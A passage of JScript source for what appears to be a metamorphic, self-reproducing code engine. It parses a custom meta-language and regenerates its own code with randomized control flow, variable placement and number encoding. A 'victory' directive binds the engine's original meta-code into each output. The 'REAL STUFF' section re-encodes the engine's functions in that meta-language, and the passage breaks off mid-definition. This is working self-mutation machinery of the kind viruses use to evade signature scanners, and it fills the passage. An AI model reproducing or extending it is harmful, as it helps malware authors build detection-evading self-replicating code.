  771.             var newStringToReplace=SingleElement.substring(SingleElement.indexOf(s(35)+s(34))+2,SingleElement.indexOf(s(34)+s(35)));
  772.             SingleElement=SingleElement.substring(0,SingleElement.indexOf(s(35)+s(34)))+CreateString(newStringToReplace)+SingleElement.substring(SingleElement.indexOf(s(34)+s(35))+2);
  773.         }
  774.         while(SingleElement.indexOf(s(35)+s(110))!=-1)  // #n
  775.         {
  776.             var newNumberStart=SingleElement.indexOf(s(35)+s(110))+2;                                                               // this line is worth 3h of bug searching :)
  777.             var newNumberToReplace=SingleElement.substring(newNumberStart,SingleElement.indexOf(s(110)+s(35),newNumberStart));      
  778.             SingleElement=SingleElement.substring(0,SingleElement.indexOf(s(35)+s(110)))+CreateNumeric(newNumberToReplace)+SingleElement.substring(SingleElement.indexOf(s(110)+s(35),newNumberStart)+2);
  779.         }
  780.         SingleElement=CreateObjectExecution(SingleElement);
  781.         SingleElement=ExecutionParser(SingleElement);  
  782.         if(SingleElement.substring(0,2)=='if')
  783.         {
  784.             //if(var1!var2?operator)NNN Code NNN AntiCode
  785.             //if(i!2?==)002
  786.             //WScript.Echo("i==1");    // in case of i==1
  787.             //WScript.Echo("second line");
  788.             //003
  789.             //WScript.Echo("i!=1"); // in case of i!=1
  790.             //WScript.Echo("2");
  791.             //WScript.Echo("3");
  792.             var condition             =SingleElement.substring(SingleElement.indexOf('(')+1,SingleElement.lastIndexOf(')'));
  793.             var NumOfElementsCode     =parseInt(SingleElement.substring(SingleElement.lastIndexOf(')')+1),10);            
  794.             var NumOfElementsAntiCode =parseInt(CodeBlockArray[CodeLineIndex+NumOfElementsCode+1],10);
  795.  
  796.             var ExecuteCode=CodeBlockArray.slice(CodeLineIndex+1,CodeLineIndex+NumOfElementsCode+1);
  797.             var AntiCode   =CodeBlockArray.slice(CodeLineIndex+NumOfElementsCode+2,CodeLineIndex+NumOfElementsCode+NumOfElementsAntiCode+2);
  798.  
  799.             var LogicOperator =SingleElement.substring(SingleElement.indexOf('?')+1,SingleElement.lastIndexOf(')'));
  800.             if(LogicOperator=='=='&&Math.floor(Math.random()*4)!=0)
  801.             {
  802.                 var argument1     =SingleElement.substring(SingleElement.indexOf('(')+1,SingleElement.indexOf('!'));
  803.                 var argument2     =SingleElement.substring(SingleElement.indexOf('!')+1,SingleElement.indexOf('?'));
  804.                 var defcode='';
  805.                 if(AntiCode.length>0)
  806.                 {
  807.                     defcode+='default:!@{'+CreateBlockOfCode(AntiCode)+'!@};break;'
  808.                 }
  809.                 RString+='switch('+argument1+')@{case '+argument2+':!@{'+CreateBlockOfCode(ExecuteCode)+';break;!@}'+defcode+'@}';                  
  810.             }
  811.             else
  812.             {
  813.                 var elsecodeinclude='';
  814.                 if(AntiCode.length>0)
  815.                 {
  816.                     elsecodeinclude='else@{'+CreateBlockOfCode(AntiCode)+'@}';
  817.                 }        
  818.                 var tmpLL=CreateLogic(condition)
  819.                 RString+=DeriveRestrString+'if('+tmpLL+')@{'+CreateBlockOfCode(ExecuteCode)+'@}'+elsecodeinclude;
  820.             }
  821.             CodeLineIndex+=NumOfElementsCode+NumOfElementsAntiCode+2;
  822.         }
  823.        
  824.         if(SingleElement.substring(0,5)=='while')
  825.         {
  826.             //while(initial$var1!var2?operator@action)NNNCode
  827.             //
  828.             //while(i=0$i!3?<@i=i+1)002
  829.             //WScript.Echo("hrhr"+i);         // this will be loop'ed
  830.             //WScript.Echo("second output that loops");
  831.             var initial           =SingleElement.substring(SingleElement.indexOf('(')+1,SingleElement.indexOf('$'));
  832.             var condition         =SingleElement.substring(SingleElement.indexOf('$')+1,SingleElement.indexOf('@'));
  833.             var action            =SingleElement.substring(SingleElement.indexOf('@')+1,SingleElement.lastIndexOf(')'));
  834.             var NumOfElementsCode =parseInt(SingleElement.substring(SingleElement.lastIndexOf(')')+1),10);  
  835.             var ExecuteCode       =CodeBlockArray.slice(CodeLineIndex+1,CodeLineIndex+NumOfElementsCode+1);
  836.  
  837.             var RNum2=Math.floor(Math.random()*2);
  838.             NoDerivation1=1;
  839.             var RLogic=CreateLogic(condition)
  840.             NoDerivation1=0;
  841.             if(RNum2==0)
  842.             {
  843.                 if(initial.length>0)
  844.                 {
  845.                     LocalVarName.push(initial.substring(4,initial.indexOf('=')));                    
  846.                     LocalVarDefs.push(initial.substring(initial.indexOf('=')+1));
  847.                 }
  848.                 RString+=DeriveRestrString+'while('+RLogic+')';
  849.                 RString+='@{'+CreateBlockOfCode(ExecuteCode);
  850.                 if(action.length>0)
  851.                 {
  852.                     RString+=CreateExecution(action,1);
  853.                 }
  854.                 RString+='@}';
  855.             }
  856.             if(RNum2==1)
  857.             {
  858.                 NoDerivation1=1;
  859.                 RString+=DeriveRestrString+'for('+initial+';'+RLogic+';'+action+')';                
  860.                 NoDerivation1=0;
  861.                 RString+='@{'+CreateBlockOfCode(ExecuteCode)+'@}';
  862.             }
  863.             CodeLineIndex+=NumOfElementsCode+1;
  864.         }
  865.        
  866.         if(SingleElement.substring(0,1)=='c')
  867.         {
  868.             //cX1(var)
  869.             //cXn(var1, var2)
  870.             //c+s(string1, string2)
  871.             // X=+/- plus/minus        
  872.             var CalcCode='';
  873.  
  874.             if(SingleElement.substring(2,3)=='1')
  875.             {
  876.                 var Variable1=SingleElement.substring(SingleElement.indexOf('(')+1,SingleElement.lastIndexOf(')'));
  877.                 var Variable2=1;
  878.                 if(Math.floor(Math.random()*3)==0)
  879.                 {
  880.                     CalcCode=Variable1+'@@';
  881.                 }
  882.             }
  883.             else
  884.             {
  885.                 var Variable1=SingleElement.substring(SingleElement.indexOf('(')+1,SingleElement.indexOf(','));
  886.                 var Variable2=SingleElement.substring(SingleElement.indexOf(',')+1,SingleElement.lastIndexOf(')'));                
  887.             }
  888.             DeriveRestrString='';            
  889.             if(CalcCode=='')
  890.             {
  891.                 var WhichCalc=Math.floor(Math.random()*2)
  892.                 if(WhichCalc==0)
  893.                 {
  894.                     CalcCode=Variable1+'@='+DeriveRestrictVC(Variable2,20);
  895.                 }
  896.                 else
  897.                 {
  898.                     if(SingleElement.substring(2,3)=='n'&&Math.floor(Math.random()*2)==0)
  899.                     {
  900.                         CalcCode=Variable1+'='+DeriveRestrictVC(Variable2,30)+'@'+DeriveRestrictVC(Variable1,30);
  901.                     }
  902.                     else
  903.                     {
  904.                         CalcCode=Variable1+'='+DeriveRestrictVC(Variable1,30)+'@'+DeriveRestrictVC(Variable2,30);
  905.                     }
  906.                 }
  907.             }
  908.             var PMOperator=SingleElement.substring(1,2);
  909.             CalcCode=CalcCode.replace(/@/g,PMOperator);
  910.             RString+=DeriveRestrString+CalcCode+'@;'+s(13)+s(10);
  911.             CodeLineIndex++;
  912.         }
  913.  
  914.         if(SingleElement.substring(0,1)=='x')
  915.         {
  916.             //xCode
  917.             //xWScript.Echo("ExecuteMe!");        
  918.             var ExecuteableCode=SingleElement.substring(1);
  919.             RString+=CreateExecution(ExecuteableCode)+'@;'+s(13)+s(10);
  920.             CodeLineIndex++;
  921.         }
  922.  
  923.         if(SingleElement.substring(0,1)=='y')
  924.         {
  925.             //yCode
  926.             //yXXX=something
  927.             // mainly for changing variables
  928.             var ExecuteableCode=SingleElement.substring(1);
  929.             RString+=CreateExecution(ExecuteableCode,1)+'@;'+s(13)+s(10);
  930.             CodeLineIndex++;
  931.         }
  932.  
  933.         if(SingleElement.substring(0,4)=='def ')
  934.         {
  935.             // def variable=something
  936.            
  937.            
  938.             //var SingleVariableName=SingleElement.substring(4,SingleElement.indexOf('='));   // Old methode, makes too much problems, and seems to be redundant in the new permutator process
  939.             //var SingleVariableDef=SingleElement.substring(SingleElement.indexOf('=')+1);
  940.             //VarNames.push(SingleVariableName);
  941.             //VarDefs.push(SingleVariableDef);    
  942.    
  943.             var dExecuteableCode=SingleElement.substring(4);
  944.             RString+=CreateExecution(dExecuteableCode,0)+'@;'+s(13)+s(10)
  945.             CodeLineIndex++;
  946.         }
  947.  
  948.         if(SingleElement.substring(0,4)=='var ')
  949.         {
  950.             // def variable=something
  951.             //var PreSingleVariableName=SingleElement.substring(0,SingleElement.indexOf('='));
  952.             //var SingleVariableDef=SingleElement.substring(SingleElement.indexOf('=')+1);
  953.             RString+=CreateExecution(SingleElement,1)+'@;'+s(13)+s(10)
  954.             //LocalVarName.push(SingleVariableName); // Old Methode
  955.             //LocalVarDefs.push(SingleVariableDef);
  956.             CodeLineIndex++;
  957.         }
  958.  
  959.         if(SingleElement.substring(0,9)=='function ')
  960.         {
  961.             //function abc(arg1,arg2)001__xWScript.Echo(arg1)
  962.  
  963.             var functionname      =SingleElement.substring(9,SingleElement.indexOf('('));
  964.             var functionarguments =SingleElement.substring(SingleElement.indexOf('('),SingleElement.indexOf(')')+1);
  965.             var NumOfElementsCode =parseInt(SingleElement.substring(SingleElement.indexOf(')')+1),10);
  966.             var ExecuteCode       =CodeBlockArray.slice(CodeLineIndex+1,CodeLineIndex+NumOfElementsCode+1);
  967.             FunctionDefs.push(CreateBlockOfCode(ExecuteCode))
  968.             FunctionArgs.push(functionarguments);
  969.             FunctionNames.push(functionname);          
  970.             CodeLineIndex+=NumOfElementsCode+1;
  971.         }
  972.         if(SingleElement.substring(0,7)=='victory')
  973.         {
  974.             //victory
  975.             // binds the source to the compiler
  976.  
  977.             if(Math.round(Math.random()*2)>0)
  978.             {
  979.                 RString+='var ';
  980.             }
  981.             WScript.Echo("in victory1: "+MetaLevelLanguage.length)
  982.             while(OriginalMetaCode.indexOf("°+")!=-1)
  983.             {
  984.                 OriginalMetaCode=OriginalMetaCode.replace("°+","(-:");
  985.                 OriginalMetaCode=OriginalMetaCode.replace("+°",":-)");  // Happy code is happy :)                
  986.             }
  987.             WScript.Echo("in victory2: "+MetaLevelLanguage.length)
  988.             RString+='sMetaLevelLanguage='+CreateString(OriginalMetaCode)+'@;'+s(13)+s(10);
  989.             CodeLineIndex++;
  990.         }
  991.     }
  992.     HierarchyOfCalls--;
  993.     // include local variables
  994.     LocalVarName.reverse();
  995.     LocalVarDefs.reverse();
  996.     while(LocalVarName.length>0)
  997.     {
  998.         var FirstPos=RString.indexOf(LocalVarName[0]);
  999.         var PotentialPos=FindPositionForCode(RString,FirstPos);
  1000.         var CodeVarIntegrate='var '+LocalVarName[0]+'='+LocalVarDefs[0]+'@;'
  1001.         LocalVarName.splice(0,1);
  1002.         LocalVarDefs.splice(0,1);
  1003.         NewVarPos=PotentialPos[Math.floor(Math.random()*PotentialPos.length)];
  1004.         RString=RString.substring(0,NewVarPos)+CodeVarIntegrate+RString.substring(NewVarPos);
  1005.     }
  1006.     if(HierarchyOfCalls!=0)
  1007.     {
  1008.         while(RString.indexOf('@;')!=-1){RString=RString.replace('@;',';'+nnn);}
  1009.         while(RString.indexOf('@;')!=-1){RString=RString.replace('@',nnn);}
  1010.     }
  1011.     if(RString==''){WScript.Echo("RString !!is empty!"+String.fromCharCode(13,10)+CodeBlockArray);} // Debugging info
  1012.     return(RString);
  1013. }
  1014.  
  1015.  
  1016. function CalculateFirstAppearance(OriginalCode,ObjectName)
  1017. {
  1018.     ObjectPlace=OriginalCode.indexOf(ObjectName);
  1019.     if (ObjectPlace==-1)
  1020.     {
  1021.         GetFunctionN=-1;
  1022.         for(n=0;n<FunctionVariableNameArray.length;n++)
  1023.         {
  1024.             for(m=0;m<FunctionVariableNameArray[n].length;m++)
  1025.             {
  1026.                 if(FunctionVariableNameArray[n][m]==ObjectName){GetFunctionN=n;}
  1027.             }
  1028.         }
  1029.         ObjectPlace=OriginalCode.indexOf(FunctionVariableFctName[GetFunctionN]);
  1030.     }
  1031.     return(ObjectPlace)
  1032. }
  1033.  
  1034.  
  1035. function FindPositionForCode(OriginalCode,PosTrace)
  1036. {
  1037.     var OrigPosTrace=PosTrace;
  1038.     var VPosArray=[];
  1039.     while(SKPlace!=-1)
  1040.     {
  1041.         var SKPlace =OriginalCode.lastIndexOf('@;',PosTrace-1);
  1042.         var BraPlace=OriginalCode.lastIndexOf('@{',PosTrace-1);
  1043.         var KetPlace=OriginalCode.lastIndexOf('@}',PosTrace-1);
  1044.         var PosTrace=Math.max(SKPlace,BraPlace,KetPlace);
  1045.         if(PosTrace==SKPlace&&SKPlace!=-1)
  1046.         {
  1047.             VPosArray.push(SKPlace+2);
  1048.         }
  1049.         if(PosTrace==KetPlace&&PosTrace!=-1)
  1050.         {
  1051.             FoundKet=1;
  1052.             while(FoundKet>0)
  1053.             {
  1054.                 BraPlace=OriginalCode.lastIndexOf('@{',PosTrace-1);
  1055.                 KetPlace=OriginalCode.lastIndexOf('@}',PosTrace-1);
  1056.                 if(BraPlace>KetPlace)
  1057.                 {
  1058.                     FoundKet--;
  1059.                     PosTrace=BraPlace;
  1060.                 }
  1061.                 else
  1062.                 {
  1063.                     FoundKet++;
  1064.                     PosTrace=KetPlace;
  1065.                 }
  1066.             }
  1067.         }
  1068.     }
  1069.     VPosArray.push(0);
  1070.     return(VPosArray);
  1071. }
  1072.  
  1073.  
  1074. function CreateVarsAndFuncts(OriginalCode)  // fCreateVarsAndFuncts
  1075. {
  1076.     TmpVarNames=VarNames.slice();       // save to make function-arrays out of it
  1077.     while(VarDefs.length>0)
  1078.     {
  1079.         NextPlace=CalculateFirstAppearance(OriginalCode,VarNames[0]);
  1080.         CodeToIntegrate=VarNames[0]+'='+VarDefs[0]+'@;'
  1081.         VarDefs.splice(0,1);
  1082.         VarNames.splice(0,1);
  1083.         VariablePosArray=FindPositionForCode(OriginalCode,NextPlace);
  1084.         NewPos=VariablePosArray[Math.floor(Math.random()*VariablePosArray.length)];
  1085.         OriginalCode=OriginalCode.substring(0,NewPos)+CodeToIntegrate+OriginalCode.substring(NewPos);
  1086.     }
  1087.     NumberOfArrays=Math.floor(Math.random()*TmpVarNames.length/5);
  1088.     NumberOfArrays=0;
  1089.     for(k=0;k<NumberOfArrays;k++)
  1090.     {
  1091.         RandNameArr=randomString();
  1092.         TmpVarNames=TmpVarNames.sort(RandomizeFunction);   // Special way to randomize an array
  1093.         NumberOfArrayEntries=Math.floor(Math.random()*TmpVarNames.length);        
  1094.         CodeToIntegrate=RandNameArr+'=[';
  1095.         ArrayIndexCounter=0;
  1096.         for(i=0;i<NumberOfArrayEntries;i++)
  1097.         {
  1098.             SearchArrayEntries1=OriginalCode.indexOf(TmpVarNames[i]);
  1099.             if(SearchArrayEntries1!=-1)    // first appearance (definition)
  1100.             {
  1101.                 SearchArrayEntries2=OriginalCode.indexOf(TmpVarNames[i],SearchArrayEntries1+1);
  1102.                 if(SearchArrayEntries2!=-1)    // variable definition (useage)
  1103.                 {
  1104.                     SearchArrayEntries3=OriginalCode.indexOf(TmpVarNames[i],SearchArrayEntries2+1);
  1105.                     if(SearchArrayEntries3==-1)    // variable definition (no third one)
  1106.                     {
  1107.                         SearchArrayEntries4=OriginalCode.indexOf(TmpVarNames[i]+'=');
  1108.                         VariableDefinition=OriginalCode.substring(SearchArrayEntries4+TmpVarNames[i].length+1,OriginalCode.indexOf('@;',SearchArrayEntries4));
  1109.  
  1110.                         if(Math.random()*4<3)
  1111.                         {
  1112.                             // function array
  1113.                             CodeToIntegrate+='function(){return '+VariableDefinition+';},';
  1114.  
  1115.                             OldMarker=OriginalCode.search('@X@');
  1116.                             if(OldMarker>SearchArrayEntries4||OldMarker==-1)
  1117.                             {   // replace old marker by new one
  1118.                                 OriginalCode=OriginalCode.replace('@X@','');    // remove old marker
  1119.                                 OriginalCode=OriginalCode.replace(TmpVarNames[i]+'='+VariableDefinition+'@;','@X@')  // marker that at least here the function has to be included
  1120.                             }
  1121.                             else
  1122.                             {
  1123.                                 OriginalCode=OriginalCode.replace(TmpVarNames[i]+'='+VariableDefinition+'@;','')  // remove line and keep old marker
  1124.                             }
  1125.                             OriginalCode=OriginalCode.replace(TmpVarNames[i],RandNameArr+'['+ArrayIndexCounter+']()');
  1126.                             ArrayIndexCounter++;
  1127.                         }
  1128.                         else
  1129.                         {
  1130.                             // function
  1131.                             RandFuncName=randomString();
  1132.                             FunctionNames.push(RandFuncName);
  1133.                             FunctionDefs.push('return '+VariableDefinition);
  1134.                             FunctionArgs.push('()');
  1135.                             OriginalCode=OriginalCode.replace(TmpVarNames[i]+'='+VariableDefinition+'@;','')
  1136.                             OriginalCode=OriginalCode.replace(TmpVarNames[i],RandFuncName+'()');                  
  1137.                         }
  1138.                     }
  1139.                 }
  1140.             }
  1141.         }
  1142.         CodeToIntegrate=CodeToIntegrate.substring(0,CodeToIntegrate.length-1)+'];'+s(13)+s(10);
  1143.         OriginalCode=OriginalCode.replace('@X@',CodeToIntegrate)    
  1144.     }
  1145.     for(i=0;i<FunctionDefs.length;i++)
  1146.     {
  1147.         PositionForIntegration=FindPositionForCode(OriginalCode,Infinity);
  1148.         IntegrationPosition=PositionForIntegration[Math.floor(Math.random()*PositionForIntegration.length)];
  1149.         OriginalCode=OriginalCode.substring(0,IntegrationPosition)+'function '+FunctionNames[i]+FunctionArgs[i]+'@{'+FunctionDefs[i]+'@}'+s(13)+s(10)+OriginalCode.substring(IntegrationPosition);
  1150.     }
  1151.     return(OriginalCode);
  1152. }
  1153.  
  1154. FunctionDefs=[];    // contains names of functions
  1155. FunctionArgs=[];    // contains arguments of function, for instance '()' for no arguments
  1156. FunctionNames=[];   // contains content of function corresponding to the array FunctionDefs
  1157. VarDefs=[];         // contains names of variables
  1158. VarNames=[];        // contains content of variables corresponding to the array VarDefs
  1159. FunctionVariableFctName=[];   // contains name of functions
  1160. FunctionVariableNameArray=[]; // contains arrays of variable/functionnames corresponding to the array FunctionVariableFctName      
  1161. RecordFunctionVariables=0;    // 0=no recording of functionnames; n>0: current recursion depth in functions
  1162. RecordFunctionVN=0;     // lowest depth variable name (everything else will be put into FunctionVariableNameArray)
  1163. RecordFunctionFN=0;     // lowest depth function name (everything else will be put into FunctionVariableNameArray)
  1164. DeriveRestrString="";
  1165. NoDerivation1=0;
  1166.  
  1167.  
  1168. // REAL STUFF
  1169.  
  1170.  
  1171. MetaLevelLanguage='(VDef001|)def sVarDefs=[]';
  1172. MetaLevelLanguage+='__(VDef002|)def sVarNames=[]';
  1173. MetaLevelLanguage+='__(VDef003|)def sNoDerivation1=#n0n#';
  1174. MetaLevelLanguage+='__(VDef004|)def sFunctionDefs=[]';
  1175. MetaLevelLanguage+='__(VDef005|)def sFunctionArgs=[]';
  1176. MetaLevelLanguage+='__(VDef006|)def sFunctionNames=[]';
  1177. MetaLevelLanguage+='__(VDef007|)def sDeriveRestrString=#""#';
  1178. MetaLevelLanguage+='__(VDef008|)def sRecordFunctionVariables=#n0n#';
  1179. MetaLevelLanguage+='__(VDef009|)def sRecordFunctionVN=#n0n#';
  1180. MetaLevelLanguage+='__(VDef010|)def sRecordFunctionFN=#n0n#';
  1181. MetaLevelLanguage+='__(VDef011|)def sFunctionVariableFctName=[]';
  1182. MetaLevelLanguage+='__(VDef012|)def sFunctionVariableNameArray=[]';
  1183. MetaLevelLanguage+='__(MetaDef|)def sMetaLevelLanguage=#""#';
  1184. MetaLevelLanguage+='__(VDef014|)def sHierarchyOfCalls=#n0n#';
  1185. MetaLevelLanguage+='__(VDef015|)def DoIWriteMetaCode=#n0n#';
  1186.  
  1187. MetaLevelLanguage+='__(0100|)function fGiveMeString(argGiveMeString1)001';
  1188.     MetaLevelLanguage+='__(GMS100|)xreturn(#x1#O1String#.fromCharCode(°+argGiveMeString1+°)1O#1x#)';
  1189.  
  1190. MetaLevelLanguage+='__(0200|)function fGiveRandomNumber(argGiveRandomNumber1)001';
  1191.     MetaLevelLanguage+='__(GRN100|)xreturn(#x1#O1Math#.floor(#x2#x3#O2Math#.random()2O#3x#*#x4°+argGiveRandomNumber1+°4x#2x#)1O#1x#)';
  1192.  
  1193. MetaLevelLanguage+='__(0300|)function fGiveRandomString()006';
  1194.     MetaLevelLanguage+='__(GRS100|)var vGiveRandomStringVarrndString=#""#';
  1195.     MetaLevelLanguage+='__(GRS200|)var vGiveRandomStringVarRNum3=#x1#x2fGiveRandomNumber(#n10n#)2x#+#x3#n6n#3x#1x#';
  1196.     MetaLevelLanguage+='__(GRS300|GRS100,GRS200)while(var vGiveRandomStringC1=0$°+vGiveRandomStringC1+°!°+vGiveRandomStringVarRNum3+°?<@vGiveRandomStringC1=°+vGiveRandomStringC1+° +1)002'
  1197.         MetaLevelLanguage+='__(GRSA100|)var vGiveRandomStringSingleChar=fGiveMeString(#x1#x2fGiveRandomNumber(#x3#n26n#3x#)2x#+#x4#n97n#4x#1x#)'
  1198.         MetaLevelLanguage+='__(GRSA200|GRSA100)c+s(°+vGiveRandomStringVarrndString+°,°+vGiveRandomStringSingleChar+°)'
  1199.     MetaLevelLanguage+='__(GRS400|GRS300)xreturn(#x1°+vGiveRandomStringVarrndString+°1x#)';
  1200.  
  1201. MetaLevelLanguage+='__(0400|)function fIsNumber(argisNumber1)006';
  1202.     MetaLevelLanguage+='__(isNumber100|)if(#O1°+argisNumber1+°#.charCodeAt(#n0n#)1O#!#n47n#?>)003';
  1203.         MetaLevelLanguage+='__(isNumberA100|)if(#O1°+argisNumber1+°#.charCodeAt(#n0n#)1O#!#n58n#?<)001';
  1204.             MetaLevelLanguage+='__(isNumberAA100|)xreturn(#x1#n1n#1x#)';
  1205.         MetaLevelLanguage+='__(isNumberB100|)000';          // else part is empty
  1206.     MetaLevelLanguage+='__(isNumber200|)000';               // else part
  1207.     MetaLevelLanguage+='__(isNumber300|isNumber100)xreturn(#x1#n0n#1x#)';
  1208.  
  1209. MetaLevelLanguage+='__(0500|)function fGetAntiLogic(argfGetAntiLogic1)014';
  1210.     MetaLevelLanguage+='__(GetAntiLogic0100|)var GALRValue=#x1°+argfGetAntiLogic1+°1x#';
  1211.     MetaLevelLanguage+='__(GetAntiLogic0200|GetAntiLogic0100)if(°+argfGetAntiLogic1+°!#"<"#?==)001';
  1212.         MetaLevelLanguage+='__(GetAntiLogicA100|)y°+GALRValue+°=#">"#';
  1213.     MetaLevelLanguage+='__(GetAntiLogic0300|)000';
  1214.     MetaLevelLanguage+='__(GetAntiLogic0400|GetAntiLogic0100)if(°+argfGetAntiLogic1+°!#"<="#?==)001';
  1215.         MetaLevelLanguage+='__(GetAntiLogicA100|)y°+GALRValue+°=#">="#';
  1216.     MetaLevelLanguage+='__(GetAntiLogic0500|)000';
  1217.     MetaLevelLanguage+='__(GetAntiLogic0600|GetAntiLogic0100)if(°+argfGetAntiLogic1+°!#">"#?==)001';
  1218.         MetaLevelLanguage+='__(GetAntiLogicA100|)y°+GALRValue+°=#"<"#';
  1219.     MetaLevelLanguage+='__(GetAntiLogic0700|)000';
  1220.     MetaLevelLanguage+='__(GetAntiLogic0800|GetAntiLogic0100)if(°+argfGetAntiLogic1+°!#">="#?==)001';
  1221.         MetaLevelLanguage+='__(GetAntiLogicA100|)y°+GALRValue+°=#"<="#';
  1222.     MetaLevelLanguage+='__(GetAntiLogic0900|)000';
  1223.     MetaLevelLanguage+='__(GetAntiLogic1000|GetAntiLogic0200,GetAntiLogic0400,GetAntiLogic0600,GetAntiLogic0800)xreturn(#x1°+GALRValue+°1x#)';
  1224.  
  1225. MetaLevelLanguage+='__(0600|)function fRemoveVariableMask(argRemoveVariableMask1)005';
  1226.     MetaLevelLanguage+='__(RVM100|)while($#x1#O1°+argRemoveVariableMask1+°#.indexOf(#x2fGiveMeString(#n176n#)2x#+#x3fGiveMeString(#n43n#)3x#)1O#1x#!#n-1n#?!=@)001';
  1227.         MetaLevelLanguage+='__(RVMA100|)y°+argRemoveVariableMask1+°=#x1#O1°+argRemoveVariableMask1+°#.replace(#x2fGiveMeString(#x3#n176n#3x#)2x#+#x4fGiveMeString(#x5#n43n#5x#)4x#,#x6""6x#)1O#1x#';
  1228.     MetaLevelLanguage+='__(RVM200|)while($#x1#O1°+argRemoveVariableMask1+°#.indexOf(#x2fGiveMeString(#n43n#)2x#+#x3fGiveMeString(#n176n#)3x#)1O#1x#!#n-1n#?!=@)001';
  1229.         MetaLevelLanguage+='__(RVMA100|)y°+argRemoveVariableMask1+°=#x1#O1°+argRemoveVariableMask1+°#.replace(#x2fGiveMeString(#x3#n43n#3x#)2x#+#x4fGiveMeString(#x5#n176n#5x#)4x#,#x6""6x#)1O#1x#';
  1230.     MetaLevelLanguage+='__(RVM300|RVM100,RVM200)xreturn(#x1°+argRemoveVariableMask1+°1x#)';
  1231.  
  1232.  
  1233. MetaLevelLanguage+='__(0700|)function fRandomizeFunction()001';
  1234.     MetaLevelLanguage+='__(RandFunct100|)xreturn(#x1#x2fGiveRandomNumber(#x323x#)2x#-#x414x#1x#)';
  1235.  
  1236.  
  1237. MetaLevelLanguage+='__(0800|)function fCreateNumeric(argCreateNumeric)030';
  1238.     MetaLevelLanguage+='__(CrNum0100|)yargCreateNumeric=#x3parseInt(#x1°+argCreateNumeric+°1x#,#x2#n10n#2x#)3x#';
  1239.     MetaLevelLanguage+='__(CrNum0200|)var CreateNumericType=#x1fGiveRandomNumber(#x2#n8n#2x#)1x#';
  1240.     MetaLevelLanguage+='__(CrNum0300|CrNum0100,CrNum0200)if(°+argCreateNumeric+°!#n10000n#?>)001';
  1241.         MetaLevelLanguage+='__(CrNumA100|)yCreateNumericType=#x1#n5n#1x#';
  1242.     MetaLevelLanguage+='__(CrNum0400|)000';
  1243.     MetaLevelLanguage+='__(CrNum0700|CrNum0300)if(°+argCreateNumeric+°!#n0n#?>=)005';
  1244.         MetaLevelLanguage+='__(CrNumA100|)if(°+argCreateNumeric+°!#n255n#?<=)003';
  1245.             MetaLevelLanguage+='__(CrNumAA100|)if(fGiveRandomNumber(#n4n#)!#n0n#?!=)001';
  1246.                 MetaLevelLanguage+='__(CrNumAAA100|)xreturn(#x1#x6°+FullArray+°6x#[#x2°+argCreateNumeric+°2x#][#x3fGiveRandomNumber(#x4#O1°+FullArray+°[#x5°+argCreateNumeric+°5x#]#.length1O#4x#)3x#]1x#)';
  1247.             MetaLevelLanguage+='__(CrNumAB200|)000';
  1248.         MetaLevelLanguage+='__(CrNumA200|)000';
  1249.     MetaLevelLanguage+='__(CrNum0800|)000';
  1250.     MetaLevelLanguage+='__(CrNum0900|CrNum0100)var CreateNumericRnd=#x1#O3Math#.abs(#x3#O1Math#.floor(#x4#x5#O2Math#.random()2O#*#x70.97x#5x#*#x6°+argCreateNumeric+°6x#4x#)1O#3x#)3O#+#x212x#1x#';
  1251.     MetaLevelLanguage+='__(CrNum1000|CrNum0700,CrNum0900)if(°+argCreateNumeric+°!°+CreateNumericRnd+°?<)003';
  1252.         MetaLevelLanguage+='__(CrNumA100|)if(°+CreateNumericType+°!#n0n#?==)001';
  1253.             MetaLevelLanguage+='__(CrNumAA100|)xreturn(fDeriveVC(°+argCreateNumeric+°,#n200n#))'
  1254.         MetaLevelLanguage+='__(CrNumA200|)000';
  1255.     MetaLevelLanguage+='__(CrNum1100|)000';
  1256.     MetaLevelLanguage+='__(CrNum1200|CrNum1000)if(°+CreateNumericType+°!#n0n#?==)001';
  1257.         MetaLevelLanguage+='__(CrNumA100|)xreturn(#x1#x2#"("#2x#+#x3fDeriveVC(#x8#x4fCreateNumeric(°+argCreateNumeric+°-°+CreateNumericRnd+°)4x#+#x5#"+"#5x#8x#+#x6fCreateNumeric(°+CreateNumericRnd+°)6x#,#x7#n200n#7x#)+#")"#3x#1x#);'
  1258.     MetaLevelLanguage+='__(CrNum1300|)000';
  1259.     MetaLevelLanguage+='__(CrNum1400|CrNum0700,CrNum0900)if(°+CreateNumericType+°!#n1n#?==)001';
  1260.         MetaLevelLanguage+='__(CrNumA100|)xreturn(#x1#x2#"("#2x#+#x3fDeriveVC(#x8#x4fCreateNumeric(°+argCreateNumeric+° + °+CreateNumericRnd+°)4x#+#x5#"-"#5x#8x#+#x6fCreateNumeric(°+CreateNumericRnd+°)6x#,#x7#n200n#7x#)+#")"#3x#1x#);'
  1261.     MetaLevelLanguage+='__(CrNum1500|)000';
  1262.     MetaLevelLanguage+='__(CrNum1600|CrNum0700,CrNum0900)if(°+CreateNumericType+°!#n2n#?==)001';
  1263.         MetaLevelLanguage+='__(CrNumA100|)xreturn(#x1#x2#"("#2x#+#x3fDeriveVC(#x8#x4fCreateNumeric(°+argCreateNumeric+°*°+CreateNumericRnd+°)4x#+#x5#"/"#5x#8x#+#x6fCreateNumeric(°+CreateNumericRnd+°)6x#,#x7#n200n#7x#)+#")"#3x#1x#);'
  1264.     MetaLevelLanguage+='__(CrNum1700|)000';
  1265.     MetaLevelLanguage+='__(CrNum1800|CrNum0700,CrNum0900)if(°+CreateNumericType+°!#n2n#?>)001';
  1266.         MetaLevelLanguage+='__(CrNumA100|)xreturn(#x1fDeriveVC(#x2°+argCreateNumeric+°2x#,#x3#n200n#3x#)1x#)';
  1267.     MetaLevelLanguage+='__(CrNum1900|)000';
  1268.  
  1269.  
  1270.  
  1271.  
  1272. MetaLevelLanguage+='__(0900|)function fCreateLogic(argfCreateLogic)027';
  1273.     MetaLevelLanguage+='__(CrLogic0100|)ysDeriveRestrString=#""#';
  1274.     MetaLevelLanguage+='__(CrLogic0200|)var CLarg1=#x1#O1°+argfCreateLogic+°#.substring(#x2#n0n#2x#,#O2°+argfCreateLogic+°#.indexOf(#x3#"!"#3x#)2O#)1O#1x#';
  1275.     MetaLevelLanguage+='__(CrLogic0300|)var CLarg2=#x1#O1°+argfCreateLogic+°#.substring(#x2#x4#O2°+argfCreateLogic+°#.indexOf(#x7#"!"#7x#)2O#4x#+#x3#n1n#3x#2x#,#x5#O3°+argfCreateLogic+°#.indexOf(#x6#"?"#6x#)3O#5x#)1O#1x#';
